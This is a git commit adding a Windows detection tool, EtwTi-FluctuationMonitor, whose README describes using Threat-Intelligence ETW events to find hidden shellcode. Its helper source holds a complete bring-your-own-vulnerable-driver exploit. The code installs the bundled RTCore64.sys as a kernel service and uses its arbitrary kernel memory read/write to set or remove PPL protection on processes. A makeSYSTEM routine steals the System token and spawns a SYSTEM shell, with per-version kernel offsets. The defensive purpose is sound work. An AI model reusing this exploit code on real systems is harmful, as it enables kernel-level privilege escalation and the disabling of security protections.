This commit is contained in:
John Uhlmann
2023-05-15 14:46:23 +08:00
parent c79693231d
commit 695a39058e
14 changed files with 1283 additions and 0 deletions
+25
View File
@@ -0,0 +1,25 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.31025.194
MinimumVisualStudioVersion = 10.0.40219.1
Project("{9574CF2B-E0E4-498C-A2C0-B79A9C8CADF0}") = "EtwTi-FluctuationMonitor", "EtwTi-FluctuationMonitor.vcxproj", "{9AAE8450-9F6B-48F0-88F8-639C936DECB4}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{9AAE8450-9F6B-48F0-88F8-639C936DECB4}.Debug|x64.ActiveCfg = Debug|x64
{9AAE8450-9F6B-48F0-88F8-639C936DECB4}.Debug|x64.Build.0 = Debug|x64
{9AAE8450-9F6B-48F0-88F8-639C936DECB4}.Release|x64.ActiveCfg = Release|x64
{9AAE8450-9F6B-48F0-88F8-639C936DECB4}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {606D7C71-1786-4CD6-B2DE-05F9D17083AB}
EndGlobalSection
EndGlobal
+110
View File
@@ -0,0 +1,110 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{9aae8450-9f6b-48f0-88f8-639c936decb4}</ProjectGuid>
<RootNamespace>EtwTi-FluctuationMonitor</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
<ProjectName>EtwTi-FluctuationMonitor</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp17</LanguageStandard>
<PrecompiledHeader>Create</PrecompiledHeader>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="helpers.cpp" />
<ClCompile Include="loaddriver.cpp" />
<ClCompile Include="enableppl.cpp" />
<ClCompile Include="main.cpp" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="Resource.rc" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="resource.h" />
<ClInclude Include="stdafx.h" />
</ItemGroup>
<ItemGroup>
<None Include="packages.config" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="packages\Microsoft.O365.Security.Krabsetw.4.3.1\build\native\Microsoft.O365.Security.Krabsetw.targets" Condition="Exists('packages\Microsoft.O365.Security.Krabsetw.4.3.1\build\native\Microsoft.O365.Security.Krabsetw.targets')" />
</ImportGroup>
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
<PropertyGroup>
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
</PropertyGroup>
<Error Condition="!Exists('packages\Microsoft.O365.Security.Krabsetw.4.3.1\build\native\Microsoft.O365.Security.Krabsetw.targets')" Text="$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.O365.Security.Krabsetw.4.3.1\build\native\Microsoft.O365.Security.Krabsetw.targets'))" />
</Target>
</Project>
+47
View File
@@ -0,0 +1,47 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{172FEE2A-BE93-4626-96EA-529B3BB3711E}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{F2B104D1-F801-41A7-951C-DB28A0370D13}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{61A61936-69C0-47ED-80A4-FDDE25A366FA}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="enableppl.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="loaddriver.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="main.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="helpers.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="Resource.rc">
<Filter>Resource Files</Filter>
</ResourceCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="resource.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="stdafx.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<None Include="packages.config" />
</ItemGroup>
</Project>
+23
View File
@@ -0,0 +1,23 @@
![screenshot](flux.png)
## Detection of hidden shellcode via immutable code page principle violations
It is security best practice that, once a page is marked executable, it should be immutable.<br/>
That is, the the memory protection progression for code pages should only be RW to RX.
On Windows, [Kernel Patch Protection](https://en.wikipedia.org/wiki/Kernel_Patch_Protection) (aka PatchGuard) enforces this for the kernel and [Arbitrary Code Guard](https://blogs.windows.com/msedgedev/2017/02/23/mitigating-arbitrary-native-code-execution/) for user-mode images (where compatible and enabled).
There is no equivalent protection for private user-mode executbale code such as JIT. <br/>However, JIT compilers, just like AOT compilers, only compile once.
We can monitor for violations of this principle using [Threat-Intelligence PROTECTVM_LOCAL](https://github.com/jdu2600/Windows10EtwEvents/blob/master/manifest/Microsoft-Windows-Threat-Intelligence.tsv) ETW events.
Therefore it is interesting whenever executable memory is changed to non-executable and, to be thorough, also when executable memory changes from non-writable to writable.
We could alert immediately on this but, like always, there are some false positives that we need to deal with.
Some JIT engines re-use memory allocations and there is also legimate API hooking to account for.
The key difference between the benign and malicious behaviours is frequency.
To drastically reduces the false positive rate, we only alert if this is done *more than once*.
See [[Black Hat Asia 2023] You Can Run, but You Can't Hide - Finding the Footprints of Hidden Shellcode](https://www.blackhat.com/asia-23/briefings/schedule/index.html#you-can-run-but-you-cant-hide---finding-the-footprints-of-hidden-shellcode-31237) for more details.
+4
View File
@@ -0,0 +1,4 @@
#include "resource.h"
#include "winres.h"
IDR_RT_RCDATA1 RCDATA "driver\\RTCore64.sys"
Binary file not shown.
+610
View File
@@ -0,0 +1,610 @@
#include "stdafx.h"
// CODE FROM
// https://github.com/gijsh/PPLKiller/tree/feature-allow-ppl-protection
// https://github.com/RedCursorSecurityConsulting/PPLKiller
// https://github.com/Barakat/CVE-2019-16098
// https://github.com/gentilkiwi/mimikatz
// https://github.com/TarlogicSecurity/EoPLoadDriver/
#define AUTHOR L"@aceb0nd"
#define VERSION L"0.3"
#if !defined(PRINT_ERROR_AUTO)
#define PRINT_ERROR_AUTO(func) (wprintf(L"ERROR " TEXT(__FUNCTION__) L" ; " func L" (0x%08x)\n", GetLastError()))
#endif
struct Offsets {
DWORD64 UniqueProcessIdOffset;
DWORD64 ActiveProcessLinksOffset;
DWORD64 TokenOffset;
DWORD64 SignatureLevelOffset;
};
/// helpers
WCHAR* dropDriver();
DWORD service_install(PCWSTR serviceName, PCWSTR displayName, PCWSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt);
struct Offsets getVersionOffsets();
void modifyProtectedProcesses(DWORD targetPID, Offsets offsets, BOOL enableProtection);
VOID InstallVulnerableDriver() {
const auto svcName = L"RTCore64";
WCHAR* driverPath = dropDriver();
const auto svcDesc = L"Micro-Star MSI Afterburner";
if (auto status = service_install(svcName, svcDesc, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE) == 0x00000005) {
printf("[!] 0x00000005 - Access Denied - Did you run as Administrator?\n");
ExitProcess(1);
}
}
VOID EnablePPL() {
auto offsets = getVersionOffsets();
if (offsets.UniqueProcessIdOffset == 0)
{
printf("[!] OS not supported - bailing");
ExitProcess(1);
}
modifyProtectedProcesses(GetCurrentProcessId(), offsets, true);
}
VOID DisablePPL() {
auto offsets = getVersionOffsets();
if (offsets.UniqueProcessIdOffset == 0)
{
printf("[!] OS not supported - bailing");
ExitProcess(1);
}
modifyProtectedProcesses(GetCurrentProcessId(), offsets, false);
}
/// end helpers
// Micro-Star MSI Afterburner driver arbitrary read and write primitive
// These signed drivers can also be used to bypass the Microsoft driver-signing policy to deploy malicious code.
struct RTCORE64_MSR_READ {
DWORD Register;
DWORD ValueHigh;
DWORD ValueLow;
};
static_assert(sizeof(RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes");
struct RTCORE64_MEMORY_READ {
BYTE Pad0[8];
DWORD64 Address;
BYTE Pad1[8];
DWORD ReadSize;
DWORD Value;
BYTE Pad3[16];
};
static_assert(sizeof(RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");
struct RTCORE64_MEMORY_WRITE {
BYTE Pad0[8];
DWORD64 Address;
BYTE Pad1[8];
DWORD ReadSize;
DWORD Value;
BYTE Pad3[16];
};
static_assert(sizeof(RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");
static const DWORD RTCORE64_MSR_READ_CODE = 0x80002030;
static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048;
static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c;
DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
RTCORE64_MEMORY_READ MemoryRead{};
MemoryRead.Address = Address;
MemoryRead.ReadSize = Size;
DWORD BytesReturned;
DeviceIoControl(Device,
RTCORE64_MEMORY_READ_CODE,
&MemoryRead,
sizeof(MemoryRead),
&MemoryRead,
sizeof(MemoryRead),
&BytesReturned,
nullptr);
return MemoryRead.Value;
}
void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) {
RTCORE64_MEMORY_READ MemoryRead{};
MemoryRead.Address = Address;
MemoryRead.ReadSize = Size;
MemoryRead.Value = Value;
DWORD BytesReturned;
DeviceIoControl(Device,
RTCORE64_MEMORY_WRITE_CODE,
&MemoryRead,
sizeof(MemoryRead),
&MemoryRead,
sizeof(MemoryRead),
&BytesReturned,
nullptr);
}
WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) {
return ReadMemoryPrimitive(Device, 2, Address) & 0xffff;
}
DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) {
return ReadMemoryPrimitive(Device, 4, Address);
}
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) {
return (static_cast<DWORD64>(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address);
}
void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) {
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}
// END driver comms code
// START Mimikatz driver install/uninstall code
BOOL kull_m_service_addWorldToSD(SC_HANDLE monHandle) {
BOOL status = FALSE;
DWORD dwSizeNeeded;
PSECURITY_DESCRIPTOR oldSd, newSd;
SECURITY_DESCRIPTOR dummySdForXP;
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
EXPLICIT_ACCESS ForEveryOne = {
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL,
SET_ACCESS,
NO_INHERITANCE,
{NULL, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_SID, TRUSTEE_IS_WELL_KNOWN_GROUP, NULL}
};
if (!QueryServiceObjectSecurity(monHandle, DACL_SECURITY_INFORMATION, &dummySdForXP, 0, &dwSizeNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) {
if (oldSd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, dwSizeNeeded)) {
if (QueryServiceObjectSecurity(monHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) {
if (AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, (PSID*)&ForEveryOne.Trustee.ptstrName)) {
if (BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryOne, 0, NULL, oldSd, &dwSizeNeeded, &newSd) == ERROR_SUCCESS) {
status = SetServiceObjectSecurity(monHandle, DACL_SECURITY_INFORMATION, newSd);
LocalFree(newSd);
}
FreeSid(ForEveryOne.Trustee.ptstrName);
}
}
LocalFree(oldSd);
}
}
return status;
}
DWORD service_install(PCWSTR serviceName, PCWSTR displayName, PCWSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt) {
BOOL status = FALSE;
SC_HANDLE hSC = NULL, hS = NULL;
if (hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE)) {
if (hS = OpenService(hSC, serviceName, SERVICE_START)) {
// wprintf(L"[+] \'%s\' service already registered\n", serviceName);
}
else {
if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) {
if (hS = CreateService(hSC, serviceName, displayName, READ_CONTROL | WRITE_DAC | SERVICE_START, serviceType, startType, SERVICE_ERROR_NORMAL, binPath, NULL, NULL, NULL, NULL, NULL)) {
(void)kull_m_service_addWorldToSD(hS);
}
else PRINT_ERROR_AUTO(L"CreateService");
}
else PRINT_ERROR_AUTO(L"OpenService");
}
if (hS) {
if (startIt) {
if (status = StartService(hS, 0, NULL))
;
// wprintf(L"[+] \'%s\' service started\n", serviceName);
else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING)
;
// wprintf(L"[*] \'%s\' service already started\n", serviceName);
else {
PRINT_ERROR_AUTO(L"StartService");
}
}
CloseServiceHandle(hS);
}
CloseServiceHandle(hSC);
}
else {
PRINT_ERROR_AUTO(L"OpenSCManager(create)");
return GetLastError();
}
return 0;
}
BOOL kull_m_service_genericControl(PCWSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus) {
BOOL status = FALSE;
SC_HANDLE hSC, hS;
SERVICE_STATUS serviceStatus;
if (hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) {
if (hS = OpenService(hSC, serviceName, dwDesiredAccess)) {
status = ControlService(hS, dwControl, ptrServiceStatus ? ptrServiceStatus : &serviceStatus);
CloseServiceHandle(hS);
}
CloseServiceHandle(hSC);
}
return status;
}
BOOL service_uninstall(PCWSTR serviceName) {
if (kull_m_service_genericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, NULL)) {
wprintf(L"[+] \'%s\' service stopped\n", serviceName);
}
else if (GetLastError() == ERROR_SERVICE_NOT_ACTIVE) {
wprintf(L"[*] \'%s\' service not running\n", serviceName);
}
else {
PRINT_ERROR_AUTO(L"kull_m_service_stop");
return FALSE;
}
if (SC_HANDLE hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) {
if (SC_HANDLE hS = OpenService(hSC, serviceName, DELETE)) {
BOOL status = DeleteService(hS);
CloseServiceHandle(hS);
}
CloseServiceHandle(hSC);
}
return TRUE;
}
// END Mimikatz code
void Log(const char* Message, ...) {
const auto file = stderr;
va_list Args;
va_start(Args, Message);
std::vfprintf(file, Message, Args);
std::fputc('\n', file);
va_end(Args);
}
unsigned long long getKernelBaseAddr() {
DWORD out = 0;
DWORD nb = 0;
PVOID* base = NULL;
if (EnumDeviceDrivers(NULL, 0, &nb)) {
base = (PVOID*)malloc(nb);
if (base && EnumDeviceDrivers(base, nb, &out)) {
return (unsigned long long)base[0];
}
}
return NULL;
}
int processPIDByName(const WCHAR* name) {
int pid = 0;
// Create a snapshot of currently running processes
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
// Some error handling in case we failed to get a snapshot of running processes
if (snap == INVALID_HANDLE_VALUE) {
PRINT_ERROR_AUTO(L"processPIDByName");
return 0;
}
// Declare a PROCESSENTRY32 class
PROCESSENTRY32 pe32;
// Set the size of the structure before using it.
pe32.dwSize = sizeof(PROCESSENTRY32);
// Retrieve information about the first process and exit if unsuccessful
if (!Process32First(snap, &pe32)) {
PRINT_ERROR_AUTO(L"processPIDByName");
CloseHandle(snap); // clean the snapshot object
}
do {
if (wcscmp(pe32.szExeFile, name) == 0) {
pid = pe32.th32ProcessID;
}
} while (Process32Next(snap, &pe32));
// Clean the snapshot object to prevent resource leakage
CloseHandle(snap);
return pid;
}
void modifyProtectedProcesses(DWORD targetPID, Offsets offsets, BOOL enableProtection) {
const auto Device = CreateFileW(LR"(\\.\RTCore64)", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, nullptr);
if (Device == INVALID_HANDLE_VALUE) {
Log("[!] Unable to obtain a handle to the device object");
return;
}
// Log("[*] Device object handle has been obtained");
const auto NtoskrnlBaseAddress = getKernelBaseAddr();
// Log("[*] Ntoskrnl base address: %p", NtoskrnlBaseAddress);
// Locating PsInitialSystemProcess address
static DWORD64 PsInitialSystemProcessAddress = 0;
if (0 == PsInitialSystemProcessAddress)
{
static HMODULE Ntoskrnl = LoadLibraryExW(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
static DWORD64 PsInitialSystemProcessOffset = reinterpret_cast<DWORD64>(GetProcAddress(Ntoskrnl, "PsInitialSystemProcess")) - reinterpret_cast<DWORD64>(Ntoskrnl);
FreeLibrary(Ntoskrnl);
PsInitialSystemProcessAddress = ReadMemoryDWORD64(Device, NtoskrnlBaseAddress + PsInitialSystemProcessOffset);
// Log("[*] PsInitialSystemProcess address: %p", PsInitialSystemProcessAddress);
}
// Find our process in active process list
const DWORD64 TargetProcessId = static_cast<DWORD64>(targetPID);
DWORD64 ProcessHead = PsInitialSystemProcessAddress + offsets.ActiveProcessLinksOffset;
DWORD64 CurrentProcessAddress = ProcessHead;
do {
const DWORD64 ProcessAddress = CurrentProcessAddress - offsets.ActiveProcessLinksOffset;
const auto UniqueProcessId = ReadMemoryDWORD64(Device, ProcessAddress + offsets.UniqueProcessIdOffset);
if (UniqueProcessId == TargetProcessId) {
break;
}
CurrentProcessAddress = ReadMemoryDWORD64(Device, ProcessAddress + offsets.ActiveProcessLinksOffset);
} while (CurrentProcessAddress != ProcessHead);
CurrentProcessAddress -= offsets.ActiveProcessLinksOffset;
// Log("[*] Current process address: %p", CurrentProcessAddress);
if (enableProtection) {
// Log("[*] Enabling PPL protection for process.");
// SignatureLevel is the signature of the EXE.
// It's already been checked, so highly-protective values here can't hurt us.
WriteMemoryPrimitive(Device, 1, CurrentProcessAddress + offsets.SignatureLevelOffset, 0x38);
// SectionSignatureLevel=0 means the signatures required for DLLs that are going to be loaded in the future
WriteMemoryPrimitive(Device, 1, CurrentProcessAddress + offsets.SignatureLevelOffset+1, 0);
/*
This is PsProtectedTypeProtectedLight and PsProtectedSignerWinTcb (copied from services.exe)
4: kd> dx -id 0,0,ffffe283b48b8040 -r1 (*((ntkrnlmp!_PS_PROTECTION *)0xffffe283b9da593a))
(*((ntkrnlmp!_PS_PROTECTION *)0xffffe283b9da593a)) [Type: _PS_PROTECTION]
[+0x000] Level : 0x61 [Type: unsigned char]
[+0x000 ( 2: 0)] Type : 0x1 [Type: unsigned char]
[+0x000 ( 3: 3)] Audit : 0x0 [Type: unsigned char]
[+0x000 ( 7: 4)] Signer : 0x6 [Type: unsigned char]
*/
WriteMemoryPrimitive(Device, 1, CurrentProcessAddress + offsets.SignatureLevelOffset+2, 0x61);
}
else {
// Log("[*] Disabling PPL protection for process.");
// Patches 5 values SignatureLevel, SectionSignatureLevel, Type, Audit, and Signer
// Type, Audit, and Signer are a bitfield (_PS_PROTECTION). They consume 1 byte.
WriteMemoryPrimitive(Device, 1, CurrentProcessAddress + offsets.SignatureLevelOffset, 0x00);
WriteMemoryPrimitive(Device, 1, CurrentProcessAddress + offsets.SignatureLevelOffset + 1, 0x00);
WriteMemoryPrimitive(Device, 1, CurrentProcessAddress + offsets.SignatureLevelOffset + 2, 0x00);
}
// Cleanup
CloseHandle(Device);
}
void makeSYSTEM(DWORD targetPID, Offsets offsets) {
const auto Device = CreateFileW(LR"(\\.\RTCore64)", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, nullptr);
if (Device == INVALID_HANDLE_VALUE) {
Log("[!] Unable to obtain a handle to the device object");
return;
}
Log("[*] Device object handle has been obtained");
const auto NtoskrnlBaseAddress = getKernelBaseAddr();
Log("[*] Ntoskrnl base address: %p", NtoskrnlBaseAddress);
// Locating PsInitialSystemProcess address
HMODULE Ntoskrnl = LoadLibraryW(L"ntoskrnl.exe");
const DWORD64 PsInitialSystemProcessOffset = reinterpret_cast<DWORD64>(GetProcAddress(Ntoskrnl, "PsInitialSystemProcess")) - reinterpret_cast<DWORD64>(Ntoskrnl);
FreeLibrary(Ntoskrnl);
const DWORD64 PsInitialSystemProcessAddress = ReadMemoryDWORD64(Device, NtoskrnlBaseAddress + PsInitialSystemProcessOffset);
Log("[*] PsInitialSystemProcess address: %p", PsInitialSystemProcessAddress);
// Get token value of System process
const DWORD64 SystemProcessToken = ReadMemoryDWORD64(Device, PsInitialSystemProcessAddress + offsets.TokenOffset) & ~15;
Log("[*] System process token: %p", SystemProcessToken);
// Find our process in active process list
const DWORD64 CurrentProcessId = static_cast<DWORD64>(targetPID);
DWORD64 ProcessHead = PsInitialSystemProcessAddress + offsets.ActiveProcessLinksOffset;
DWORD64 CurrentProcessAddress = ProcessHead;
do {
const DWORD64 ProcessAddress = CurrentProcessAddress - offsets.ActiveProcessLinksOffset;
const auto UniqueProcessId = ReadMemoryDWORD64(Device, ProcessAddress + offsets.UniqueProcessIdOffset);
if (UniqueProcessId == CurrentProcessId) {
break;
}
CurrentProcessAddress = ReadMemoryDWORD64(Device, ProcessAddress + offsets.ActiveProcessLinksOffset);
} while (CurrentProcessAddress != ProcessHead);
CurrentProcessAddress -= offsets.ActiveProcessLinksOffset;
Log("[*] Current process address: %p", CurrentProcessAddress);
// Reading current process token
const DWORD64 CurrentProcessFastToken = ReadMemoryDWORD64(Device, CurrentProcessAddress + offsets.TokenOffset);
const DWORD64 CurrentProcessTokenReferenceCounter = CurrentProcessFastToken & 15;
const DWORD64 CurrentProcessToken = CurrentProcessFastToken & ~15;
Log("[*] Current process token: %p", CurrentProcessToken);
// Stealing System process token
Log("[*] Stealing System process token ...");
WriteMemoryDWORD64(Device, CurrentProcessAddress + offsets.TokenOffset, CurrentProcessTokenReferenceCounter | SystemProcessToken);
// Cleanup
CloseHandle(Device);
}
void spawnCmd(void) {
Log("[*] Spawning new shell ...");
STARTUPINFOW StartupInfo{};
StartupInfo.cb = sizeof(StartupInfo);
PROCESS_INFORMATION ProcessInformation;
CreateProcessW(LR"(C:\Windows\System32\cmd.exe)",
nullptr, nullptr, nullptr, FALSE, 0, nullptr, nullptr,
&StartupInfo,
&ProcessInformation);
WaitForSingleObject(ProcessInformation.hProcess, INFINITE);
CloseHandle(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hProcess);
}
struct Offsets getVersionOffsets() {
wchar_t value[255] = { 0x00 };
DWORD BufferSize = 255;
if (ERROR_SUCCESS != RegGetValueW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", L"ReleaseId", RRF_RT_REG_SZ, NULL, &value, &BufferSize))
{
wprintf(L"[!] Windows Version Not Found!\n");
return Offsets{ 0, 0 , 0, 0 };
}
// wprintf(L"[+] Windows Version %s Found\n", value);
auto winVer = _wtoi(value);
switch (winVer) {
case 1607:
return Offsets{ 0x02e8, 0x02f0, 0x0358, 0x06c8 };
case 1803:
case 1809:
return Offsets{ 0x02e0, 0x02e8, 0x0358, 0x06c8 };
case 1903:
case 1909:
return Offsets{ 0x02e8, 0x02f0, 0x0360, 0x06f8 };
case 2004:
case 2009:
return Offsets{ 0x0440, 0x0448, 0x04b8, 0x0878 };
default:
wprintf(L"[!] Version Offsets Not Found!\n");
wprintf(L"[!] Guessing offsets...this could crash!\n");
return Offsets{ 0x0440, 0x0448, 0x04b8, 0x0878 };
}
}
int fileExists(TCHAR* file)
{
WIN32_FIND_DATA FindFileData;
HANDLE handle = FindFirstFile(file, &FindFileData);
int found = handle != INVALID_HANDLE_VALUE;
if (found)
{
//FindClose(&handle); this will crash
FindClose(handle);
}
return found;
}
WCHAR* GetUserLocalTempPath() {
//static constexpr std::wstring_view temp_label = L"\\Temp\\";
HWND folder_handle = { 0 };
WCHAR *temp_path = (WCHAR*)malloc(sizeof(WCHAR) * MAX_PATH);
if (temp_path == NULL) {
return NULL;
}
// the original path didn't exist for the SYSTEM user
// just use current directory
if (0 != GetCurrentDirectory(MAX_PATH, temp_path))
{
wcscat_s(temp_path, MAX_PATH, L"\\RTCore64.sys");
// printf("Driver Install Path - %S\n", temp_path);
return temp_path;
}
return NULL;
}
BOOL GetResourcePointer(HINSTANCE Instance, LPCTSTR ResName, LPCTSTR ResType, LPVOID* ppRes, DWORD* pdwResSize) {
// Check the pointers to which we want to write
if (ppRes && pdwResSize) {
HRSRC hRsrc;
// Find the resource ResName of type ResType in the DLL/EXE described by Instance
if (hRsrc = FindResource((HMODULE)Instance, ResName, ResType)) {
HGLOBAL hGlob;
// Make sure it's in memory ...
if (hGlob = LoadResource(Instance, hRsrc)) {
// Now lock it to get a pointer
*ppRes = LockResource(hGlob);
// Also retrieve the size of the resource
*pdwResSize = SizeofResource(Instance, hRsrc);
// Return TRUE only if both succeeded
return (*ppRes && *pdwResSize);
}
}
}
// Failure means don't use the values in *ppRes and *pdwResSize
return FALSE;
}
HINSTANCE gInstance = NULL;
